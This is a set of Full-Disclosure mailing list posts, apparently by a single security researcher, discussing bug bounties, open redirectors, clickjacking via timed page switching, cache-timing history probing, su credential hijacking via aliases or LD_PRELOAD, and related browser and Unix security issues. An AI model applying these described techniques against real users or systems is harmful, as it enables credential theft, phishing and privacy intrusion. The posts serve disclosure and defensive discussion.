This is fairly well-known, I think; for example, there's a mention of this here (search for appspot.com): http://lcamtuf.blogspot.com/2010/10/http-cookies-or-how-not-to-design.html I think it's also covered in The Tangled Web; it's also why you see domains such as blogspot.com and appspot.com in PSL: http://mxr.mozilla.org/mozilla-central/source/netwerk/dns/effective_tld_names.dat?raw=1 /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [0 Day] XSS Persistent in Blogspot of Google
OGMMM WTFF 0DAY XSS Sorry, getting a bit tired of these. Well, the world is changing. You can probably do a lot more direct damage with a (legit) XSS in a high-value site than with a local privilege escalation in sudo. XSS reports are less actionable for the average reader, but full disclosure is probably still beneficial, in that it provides data points about the types of flaws a particular vendor happens to have, and the speed and quality of the deployed fixes. Of course, many of the XSS reports in knorr.com and similarly exciting destinations are zz... /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] OT Google raises sploit bounties
I would be interested what bounties they would pay for operation Аврора or for a botnet of say 1M host. Reward amounts are public; for example, here are the rules for the web app program: http://www.google.com/about/appsecurity/reward-program/ Neither malware on user machines nor attacking employees is within scope, though: the program is mostly about recognizing original research into potential design and implementation flaws in our code. We occasionally decide to extend rewards of some sort to people who report very interesting or sensitive issues that fall outside the scope of the existing programs, but we don't offer Microsoft-style bounties for identifying malware authors, etc. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] OT Google raises sploit bounties
His question seemed pretty clear to me. As indicated in the article he linked to, Google apparently raised their bounty/reward. He's asking if something happened to one of their products to cause that, or if they're just paranoid (and maybe expecting something to happen to one of their products). FWIW, these choices seem weird... for any announcement of that sort, it seems more rational to assume any of the following: 1) It's getting harder to find bugs. Reward amounts correspond to the average time needed to locate a vuln. 2) More reward programs are competing for a fixed pool of skilled researchers. Reward amounts are just bids for their time. 3) Incoming reports are surprisingly good. Reward amounts are set to recognize high quality work. 4) The vendor thinks that their product is bulletproof, and uses increasing reward amounts as a publicity stunt. As far as I know, all reward increases for Google VRPs were driven by a combination of factors 1 through 3. I am not sure how being paranoid factors in - complex products have bugs, browsers doubly so. Similarly, malware seems like a weird reason to bump up rewards. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [oss-security] Re: [OVSA20121112] OpenVAS Manager Vulnerable To Command Injection
Hello Jan, in version 2.0.5 the discussed vulnerable like looks like this: command = g_strdup_printf (/bin/sh %s %s %s 2 /dev/null, script, xml_file, output_file); So there is not IP and PORT to be sanitized so 2.0.5 is probably on the safe side of this vulnerability. If you deem it safer we can bump to current 3.0.x version - I know it is usually nono, but there should be no casualties, since I sincerely doubt there are _ANY_ openvas users on Fedora distribution (16/17) as half of the openvas suite packages is still under review. Mainly the openvas suite doesn't work on current Fedora due to incompatibility between openvas network stack (openvas-libraries) and the gnutls library we have in Fedora. Best regards Michal Ambroz (one of Fedora openvas-* packagers) Původní zpráva Od: Jan Lieskovsky jlies...@redhat.com Předmět: Re: [oss-security] Re: [OVSA20121112] OpenVAS Manager Vulnerable To Command Injection Datum: 14.11.2012 11:55:09 Hello Tim, thank you for the heads up and notification. The versions of openvas-manager package, as shipped with Fedora release of 16 and release of 17 is based on upstream 2.0.5 version yet. From what I have looked and can tell from upstream advisory and patch (for 3.0.X version): [1] http://www.openvas.org/OVSA20121112.html [2] http://wald.intevation.org/scm/viewvc.php?view=revroot=openvasrevision=14437 the CVE-2012-5520 does not seem to be applicable to OpenVAS-4 / openvas-manager 2.0.5 version yet: [3] http://lists.wald.intevation.org/pipermail/openvas-announce/2012-August/000140.html But prior definitely classifying Fedora 16 and Fedora 17 openvas-manager package versions as not vulnerable to this issue, I would like to hear opinion / confirmation from someone more familiar with OpenVAS code. So could you confirm the CVE-2012-5520 wouldn't affect OpenVAS-4 2.0.X version (yet)? Thank you Regards, Jan. -- Jan iankko Lieskovsky / Red Hat Security Response Team - Original Message - Doh, a document gets proof read by multiple people and yet it contains a mistake. In the Current Status section of the advisory, the date is incorrect. A corrected advisory is attached. Tim -- Tim Brown mailto:timb@openvas,org http://www.openvas.org/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] TTY handling when executing code in lower-privileged context (su, virt containers)
The only thing I am saying is that when you have a choice between direct root logins and using sudo / su, telling people to use the latter option for security reasons actually makes them worse off. Poor corporate security practices, schizophrenic account lockout policies, or dealing with hundreds of administrators on a single box are completely tangential to that (though you can have as many uid 0 accounts as you want). /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] TTY handling when executing code in lower-privileged context (su, virt containers)
Using su to execute commands as an untrusted user from an interactive shell may allow the untrusted user to escalate privileges to the user running the shell. If you have the ability to execute code on that terminal before the user executes su, it is also possible to simply never allow the real su application to run until you've already captured the credentials and escalated to root. For example, you could define an alias or change PATH in the shell; ptrace the shell or use LD_PRELOAD to change its semantics; or simply never return to the shell at all, and simply fake all the subsequent interactions with it (not particularly hard to do this in a convincing way). This is why I find the standard security mantra of disable root logins and use su / sudo to be extremely silly. In general, very few OSes are designed to handle such scenarios gracefully. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] TTY handling when executing code in lower-privileged context (su, virt containers)
I think you've taken that far too literaly. My understanding of it is to protect against a) brute force retardation b) dumb attackers. The advice weakens the security of your system, because it means I just need to compromise your unprivileged account (in which you run your browser, mail client, and so on) to own the entire box. As for the benefits, care to elaborate? I'm not sure what a) and b) really mean. If you're worried about brute-force, don't use trivial passwords. If you worry about opportunistic attacks, do that and then patch your stuff every now and then. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] How much time is appropriate for fixing a bug?
Wikipedia says 5 months: http://en.wikipedia.org/wiki/Responsible_disclosure Well, the encyclopedia has spoken. So it's settled then. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] things you can do with downloads
Another moderately interesting tidbit, I guess... It is an important and little-known property of web browsers that one document can always navigate other, non-same-origin windows to arbitrary URLs. Perhaps more interestingly, you can also navigate third-party documents to resources served with Content-Disposition: attachment, in which case, you get the original contents of the address bar, plus a rogue download prompt attached to an unsuspecting page that never wanted you to download that file. PoC: http://lcamtuf.coredump.cx/fldl/ More info: http://lcamtuf.blogspot.com/2012/05/yes-you-can-have-fun-with-downloads.html It's closely related to many other fundamental, open issues with browser UI design - but I guess it's an interesting highlight. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] We're now paying up to $20, 000 for web vulns in our services
IMHO, anyone who willingly, knowingly places customer data at risk by inviting attacks on their production systems is playing a very dangerous game. There is no guarantee that a vuln discovered by a truly honest researcher couldn't become a weapon for the dishonest researcher through secondary discovery I'm not sure I follow. Are you saying that the dishonest researcher will not try to find vulnerabilities if there is no reward program for the honest ones? /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] We're now paying up to $20, 000 for web vulns in our services
A you-only-get-it-when-successful 20,000$ budget from Google is insulting, considering the perhaps massive time investment from the researcher. [...] and yet they only pay a nice researcher 20 grand? You can't even live on that. Researchers aren't just kids with no responsibilities, they have mortgages and families People who want to make a living helping to improve Google security are welcome to apply for a job :-) We have a remarkably large and interesting security team. The program simply serves to complement that (and some other, contract-driven efforts), and it works for quite a few people who see it as a way to do something useful on the side, and get compensated for it, too. Now, I have done a fair amount of vulnerability research in my life, I do have a family and a mortgage - and I still wouldn't see $20k as an insult; but I know that this is subjective. In that spirit, you are at liberty to determine whether to participate, and how much time to invest into the pursuit :-) Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Vulnerability research and exploit writing
Our interest is exploits which run over Windows 7, Snow Leopard with applications such MS Office, Adobe, Browsers, Media Player , Notepad etc Well, good thing I have a stash of Notepad 0-days. Most of them involve you saving a snippet of text as evil.bat and clicking on it, though. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] FYI: We're now paying up to $20, 000 for web vulns in our services
Hey, Hopefully this won't offend the moderators: http://googleonlinesecurity.blogspot.com/2012/04/spurring-more-vulnerability-research.html I suspect I know how the debate will be shaped - and I think I can offer a personal insight. I helped shape our vulnerability reward program from the start (November 2010), and I was surprised to see that simply having an honest, no-nonsense, and highly responsive process like this... well, it works for a surprisingly high number of skilled researchers, even if you start with relatively modest rewards. This puts an interesting spin on the conundrum of the black / gray market vulnerability trade: you can't realistically outcompete all buyers of weaponized exploits, but you can make the issue a lot less relevant. By having several orders of magnitude more people reporting bugs through a white hat channel, you are probably making underground vulnerabilities a lot harder to find, and fairly short-lived. Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apple IOS security issue pre-advisory record
I find it very unfortunate that 300 supposed security professionals clicked on a hidden link like that without first checking what it was, or if not simply ignoring it like I did!!! So how do you meaningfully check what it is without actually requesting the document? And what's the difference between that post and a hidden img or iframe included on a less obvious website? /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fw: Earth to Facebook
The only other people that see the vulnerability are the select few in upSploit. OK. You should probably document that, and make it clear that this policy will not change without the reporter's explicit consent. It's an interesting project - but you guys are working for security software vendors and security consultancies, so I think it's important to clarify. Use it once for something you may not care about to much and see how it works for you. Well, that's not the point - the real question is what happens with valuable vulnerabilities. But really, I'm not criticizing. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fw: Earth to Facebook
Without meaning to advertise, that is one of the reasons upSploit was created - so that you could submit a vulnerability and then upSploit automatically sends to the vendor. This way you and your friend don't have to do any of the work on the disclosure. I clicked around and don't see any obvious explanation; other than the reporter and the vendor, who else gets to see the submissions and under what circumstances? /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Pros and cons of 'Access-Control-Allow-Origin' header?
Does 'Access-Control-Allow-Origin' header provide any benefits in defending against cross site scripting attacks? No. It's a mechanism to control cross-origin XMLHttpRequests (and some other peripheral things), and adding it does not reduce the likelihood or exploitability of XSS bugs. If you use it incorrectly, you may end up removing most of the security assurances provided by the same-origin policy, but that's a separate topic. Doesn't 'Access-Control-Allow-Origin' header make any XSS flaw trivially exploitable? For example, if an attacker finds an XSS flaw in a web application, he can now inject a JavaScript with XMLHttpRequest that sends a request to attacker's web server which serves resources with the HTTP header Access-Control-Allow-Origin: *. The browser would see this header and fetch the resource from the attacker's web server. If you have an XSS vulnerability, there are many simpler ways to relay data to an attacker-controlled site without the need to use CORS. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] p0f3 release candidate
So just for the record, version 3.00 is now officially out: http://lcamtuf.coredump.cx/p03/. Many thanks to countless people who submitted signatures and bug fixes, including: Phil Ames Jason DePriest Dalibor Dukic Mark Martinec Damien Miller Nibbler Bernhard Rabe Chris John Riley Sebastian Roschke Peter Valchev Jeff Weisberg I won't be spamming the list with any further updates on p0f, but this being a major rewrite after ~6 years, I thought it makes sense to let people know - especially since the previous version is used in quite a few abuse detection / monitoring / pentesting frameworks. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] p0f3 release candidate
Hi folks, I wanted to share the news of p0f v3, a complete rewrite and redesign of my passive fingerprinting tool. == Synopsis == P0f is a tool that utilizes an array of sophisticated, purely passive traffic fingerprinting mechanisms to identify the players behind any incidental TCP/IP communications (often as little as a single normal SYN) without interfering in any way. Some of its capabilities include: - Scalable and fast identification of the operating system and software on both endpoints of a vanilla TCP connection - especially in settings where NMap probes are blocked, too slow, unreliable, or would simply set off alarms. - Measurement of system uptime and network hookup, distance (including topology behind NAT or packet filters), user language preferences, and so on. - Automated detection of connection sharing / NAT, load balancing, and application-level proxying setups, - Detection of dishonest clients / servers that forge declarative statements such as X-Mailer or User-Agent. The tool can be operated in the foreground or as a daemon, and offers a simple real-time API for third-party components that wish to obtain additional information about the actors they are talking to. Common uses for p0f include reconnaissance during penetration tests; routine network monitoring; detection of unauthorized network interconnects in corporate environments; providing signals for abuse prevention tools; and miscellaneous forensics. == What's new == Version 3 is a complete rewrite, bringing you much improved SYN and SYN+ACK fingerprinting capabilities, auto-calibrated uptime measurements, completely redone databases and signatures, new API design, IPv6 support (who knows, maybe it even works?), stateful traffic inspection with thorough cross-correlation of collected data, application-level fingerprinting modules (for HTTP now, more to come), and a lot more. == Download / demo == Please visit: http://lcamtuf.coredump.cx/p0f3/ This is a release candidate, and my hope is to get folks to contribute signatures and help squash bugs. If all goes according to plan, this should progress to a final release in a week or two. Some issues are expected, so please report problems off-the-list. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] OT: Firefox question / poll
https://media.blackhat.com/bh-us-10/presentations/Waisman/BlackHat-USA-2010-Waisman-APT-slides.pdf From while (1); to APT in 10 posts. Good job :-) /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] OT: Firefox question / poll
Do you think that the Firefox warning: unresponsive script is meant as a security feature or a usability feature? More seriously, though, it's a bit of an oddly-phrased question. Only the author of the code knows the true intent; you can look up the mention of this text in the code, and see what the text accompanying that change was, or contact whoever made it. What I can tell you is that there is no concerted effort by any of the browser vendors to make DoS attacks on the browser difficult; and that this particular prompt is trivially bypassable, too. Moreover, some of the previously introduced CPU and memory restrictions on the JavaScript engine have been removed in the past few years, and many of the new APIs (such as history.pushState, window.postMessage, or Worker) are specified and implemented with no particular DoS mitigations. And no, it's very unlikely for this prompt to reliably prevent any practical attempts to exploit non-DoS vulnerabilities in the browser. /mz PS. The usual plug: If you are curious, I have a whole chapter on this and other perhaps more interesting issues related to malicious scripts in The Tangled Web. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] post-XSS landscape
With the growing enthusiasm about CSP and other script containment frameworks, I tried to put down some rough notes about the fundamental exploitation vectors that would be available in absence of the ability to execute scripts - and tried to see how these attacks correspond to what XSS attacks are trying to achieve today. So... this may be of some interest to the list: http://lcamtuf.coredump.cx/postxss/ [ More background: http://lcamtuf.blogspot.com/2011/12/notes-about-post-xss-world.html ] /mz PS. Cue snarky remarks from Tavis ;-) ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] silly PoCs continue: X-Frame-Options give you less than expected
At the risk of annoying everyone... I think we greatly underappreciate the extent to which JavaScript allows you to exploit the limits of human perception. On modern high-performance systems, windows can be opened, positioned, and closed; and documents loaded and then navigated away from; so quickly that we can't even reliably notice that, let alone react consciously. The PoC I posted here earlier this week (http://lcamtuf.coredump.cx/switch/) demonstrates one example of page transitions occurring so fast that you don't register it; and some of my earlier posts outlined the exploitation of page switching to exploit browser UIs (e.g. http://lcamtuf.coredump.cx/ffgeo2/). Today, I wanted to share this brief demonstration of an attack that should hopefully illustrate why our current way of thinking about clickjacking (and the possible defenses, such as X-Frame-Options) is flawed: http://lcamtuf.coredump.cx/clickit/ The basic idea here is that instead of placing the UI you want to tamper with in an invisible or only partly-visible iframe, you can achieve a similar effect simply by predicting the time of a premeditated click (which is fairly easy if you look at mouse velocity and distance to the expected destination), and then either destroying the current window, or navigating to a different document (in this case, a cheesy banking site). While everything about this exploit is extremely goofy, and I put no effort into making the transitions less obvious, it should still demonstrate the issue neatly. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] silly PoCs continue: X-Frame-Options give you less than expected
Interesting stuff indeed. However, I don't see you talk about a solution. Why is that? Because it's bugtraq / full-disclosure, where people generally talk about vulnerabilities... I'm not sure I follow your drift about Firefox, I don't believe it's mentioned anywhere. Anyhow, correct me if I'm wrong, but this concept won't work when the attacked site requires multiple user interaction, right? As in, the user will notice something amiss the second time. Why? /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google open redirect
They may be in the minority, but there *are* users out there who know how to look at the address bar. The security researcher knows this because he is one of them. I call this group the competent and contentious users. Sure. And that group is sort of safe when faced with open redirectors, mouseover tooltips, etc - well, modulo funny corner cases like this: http://lcamtuf.coredump.cx/switch/ ...or: http://lcamtuf.coredump.cx/switch/index2.html I have seen the most users don't understand X anyway as an argument against fixing X in the browser several times before, and I think that's wrong; but I'm not sure this is applicable here. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google open redirect
For example: did you know that if you click on a link from coredump.cx to microsoft.com and it opens in a new window, then a second or two later, that coredump.cx in the background can change the URL of the microsoft.com window, and point it to evil.com? Heck, coredump.cx can even wait until you navigate further down the microsoft.com website - and detect that event programmatically. That behavior is enshrined within the current design of the same-origin policy, and browser vendors seem hesitant to touch it. Here's a tiny PoC: http://lcamtuf.coredump.cx/switch/ /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google open redirect
I run with no script. So the links showed on the initial pages and when clicked. Yes, well, congrats ;-) /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google open redirect
Granted, but I know that vulnerability research can take a huge chunk of time out of a person's life, and without getting in to monetary philosophy, I feel that in our current system, a person should be compensated for their time if they've done something useful for society. Is this an existential discussion now?:-) As the world is structured today, you are not automatically entitled to compensation because you are doing something that, in your opinion, helps the world. That said, you can often find other people who share your sentiment, and are willing to support your cause. As it happens, Google has a vulnerability reward programs that rewards the effort of external security researchers with rewards typically ranging from $500 to $3133.7 per bug. There are contributors earning a decent living off of this program alone. You may view it cynically, but the reason for having it isn't to suppress non-compliant disclosure, but just to make the Internet a safer place - and to compensate people in function of the difficulty of finding a flaw, and the utility of that finding. The problem resulted in a *huge* spike of privately reported vulnerabilities that nobody would be even bothered to try to find before, and hasn't really affected the number of public disclosures much. If you don't like it, let us know how to improve it. You also always have the option of not researching vulnerabilities in these platforms; going with the full-disclosure approach; or selling the flaws to a willing third party. /mz PS. I'm speaking on my own behalf, and trying to be as open as possible, so let's not make it overly political. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google open redirect
_Open_ URL redirectors are trivially prevented by any vaguely sentient web developer as URL redirectors have NO legitimate use from outside one's own site so should ALWAYS be implemented with Referer checking There are decent solutions to lock down some classes of open redirectors (and replace others with direct linking), but Referer checking isn't one of them. It has several subtle problems that render it largely useless in real-world apps. There are also some classes of redirection / content proxying problems that you can't quite eliminate until you give up on offering certain functionality to users (e.g. page translation, cached document views, embeddable iframe gadgets) - and that's actually an interesting conceptual struggle. Apparently Google's web developers are so stubbornly unable to absorb this simple notion that it has become company policy that officially Google does not care about open redirectors: http://www.google.com/about/corporate/company/rewardprogram.html#url-redirection I actually wrote that bit, and as far as I remember, it's not a half-assed attempt to justify incompetence ;-) We have a vulnerability reward program, and it's just about not paying $500 for reports of that vulnerability - along with not paying for many other minimal-risk problems such as path disclosure. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Google open redirect
As for minimal risk I personally don't agree. I have leveraged Unvalidated URL Redirections in the past to attack clients of sites all the time. It's highly trivial to point to a site with a metasploit browser bug patiently waiting and amass quite a large number of sessions in a short period of time should your spam campaign be efficient and actually draw users to the vulnerable site. The problem is that the current contents of the address bar are about the only security indicator you have in the browser. It's unfortunate, and many users don't truly grasp this; and even if they do, they don't understand the intricacies of the URL syntax - but still, that's what we have to live with. The security community should try to fix this huge problem - but the progress on this and many other fundamental challenges in browser security is often hindered by the dynamics of vendor-researcher interactions. For time being, if you make security decisions based on onmouseover tooltips, link text, or anything along these lines, and do not examine the address bar of the site you are ultimately interacting with, there is very little any particular web application can do to save you: you are just at a significant risk wherever you go. If you take away open redirectors, a myriad of other, comparable ways to fool you remain, and can't be fixed easily. For example: did you know that if you click on a link from coredump.cx to microsoft.com and it opens in a new window, then a second or two later, that coredump.cx in the background can change the URL of the microsoft.com window, and point it to evil.com? Heck, coredump.cx can even wait until you navigate further down the microsoft.com website - and detect that event programmatically. That behavior is enshrined within the current design of the same-origin policy, and browser vendors seem hesitant to touch it. I posted a brief rant about it about two years ago: http://lcamtuf.blogspot.com/2010/04/address-bar-and-sea-of-darkness.html I've been in the community for a while, and I hope it goes without saying that I'm not here to be a mouthpiece for my current employer; I just genuinely think it's a complicated problem, and we need to pick our battles carefully. Redirectors are not particularly desirable, but the big picture is less obvious than it seems. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] fast and somewhat reliable cache timing
http://lcamtuf.coredump.cx/cachetime/ OK, just for the record: I improved the original PoC quite a bit, and added experimental variants for other browsers. I will shut up now. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] fast and somewhat reliable cache timing
Evening, This party trick is not particularly exciting, but hopefully highlights a vaguely interesting point: http://lcamtuf.coredump.cx/cachetime/ In essence, in the past few years, browser vendors have severely crippled CSS :visited selectors in order to prevent CSS-based history snooping that made the headlines not long ago (see, for example, http://wtikay.com). Although it's fairly obvious that other privacy side channels, such as cache timing, theoretically disclose comparable data, the attacks demonstrated so far offered, at best, vaguely probabilistic results (say, http://www.cs.princeton.edu/sip/pub/webtiming.pdf). On top of that, cache probing was considered destructive, which significantly limited its usability. Consequently, an argument was made that CSS :visited offered unique performance and reliability benefits and needed to be addressed separately, while no serious work takes place on the remaining vectors. My PoC exploits cache timing in Firefox in what appears to be a fairly fast and reliable way. It is a crude hack, so it will probably fail for some of you - but it's probably still interesting. The key point is that to probe for cached content without immediately polluting the cache, we abort navigation before the HTTP request is made. We also work around setTimeout / setInterval clamps by leveraging event delivery. PS. If this is even remotely interesting, you may also enjoy http://lcamtuf.coredump.cx/tangled/ Cheers, /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] FreeBSD ftpd and ProFTPd on FreeBSD remote r00t exploit
If you want to respect the license of this code you cannot include the exploit in your software. And don't get me started about my patent on NOP sleds! /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Microsoft Windows vulnerability in TCP/IP Could Allow Remote Code Execution (2588516)
next time, i wont say shit, and, believe it. Well it's just that the attack you are describing will be thwarted by setting a sticky bit on /tmp, and you have not demonstrated otherwise. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Symlink vulnerabilities
You can make it bypass Aslr ? No, you are absolutely correct, this vulnerability can't be used to bypass ASLR. Score one for address space randomization. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Symlink vulnerabilities
I think someone fed bugtraq archives into scigen. I thought we're doing Twilight fanfic instead? /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Symlink vulnerabilities
Actually, no; per user /tmp could only be accomplished, without a major redesign and without breaking almost every application [citation needed] ;-) Only a fraction of apps uses /tmp... vendors can fix their own distros: grepping for /tmp isn't complicated, and almost every package usually ships with a handful of vendor-specific diffs anyway. You will break some third-party stuff people download from the Internet, but that's a self-correcting problem, and not exactly a horrible prospect: Linux distros break crappy software with almost every major release anyway, often due to far more fundamental changes (e.g. different /dev or /proc semantics, or moving libraries and includes around). The namespace / pseudo-fs approach is fairly ancient and works, but it's sort of ugly: it makes the filesystem behave counterintuitively in the rare case somebody actually has a legit use for /tmp. Not a big deal, but seems like an overcomplicated solution IMO. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Symlink vulnerabilities
In any case, the *right* answer isn't to play whack-a-mole fixing /tmp races, what you should be doing is using pam_namespace or similar so each user gets their own /tmp namespace. That would result in counterintuitive behavior, I suppose... /tmp is a fairly stupid and largely unnecessary artifact of the old. If you are in charge of a distro, it would not hurt to nuke it altogether and change all packages in your control to use per-user $TMPDIR. Some third-party stuff will break - but it breaks every now and then anyway. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Some hash values
I believe that this is the best place to post the following hash values: MD5Sum:a762a3b9cbfb3d63034646087680b254 SHA1sum:6f25d72bd693b52de25c36d04f9e17f945420580 SHA256sum:d5886dd14f3eac029d771da6bcc6d49bc2e50c79159e5390c9c0776c725243a5 No, for these specific hash values, I believe the appropriate place to post them would be deviantArt. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache Killer
Good catch, but you didn't provide for a working exploit at the time. Now I only see your name on the press. Why? I don't know why this is in the news at all, let alone with any specific attribution. Perhaps you wanted to ask the journalists?;-) /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache Killer
just for the record I have the impression that this not the same vulnerability you outlined in your advisory a while back. It is more that the idea for this vulnerability originated from your advisory, not the same bug. I don't think this even matters, and I really don't disagree... In 2007, I noticed that their Range handling is silly, and may prompt them to generate very large responses. I casually proposed a window scaling-based attack back then, and nothing happened. My understanding is that your exploit is based on the same principle (I don't think they fixed this in any way), but combines it with protocol-level compression to force the server to waste some memory and CPU resources to compress the response beforehand. But in any case, life goes on, it's just a DoS. Good that they're fixing it... /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache Killer
http://www.gossamer-threads.com/lists/apache/dev/401638 FWIW, I pointed out the DoS-iness of their Range handling a while ago: http://seclists.org/bugtraq/2007/Jan/83 /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] URL Spoofing vulnerability in different browsers
Just ignore Mustlive. The rest of the list does. Well, sadly, it leads to things like this: http://www.securityfocus.com/bid/40487 /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Ubuntu: reseed(8), random.org, and HTTP request
[ But for what it's worth, I am willing to bet that the script was added without analyzing these subtle considerations, and that makes it somewhat scary on its own accord. ] /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Ubuntu: reseed(8), random.org, and HTTP request
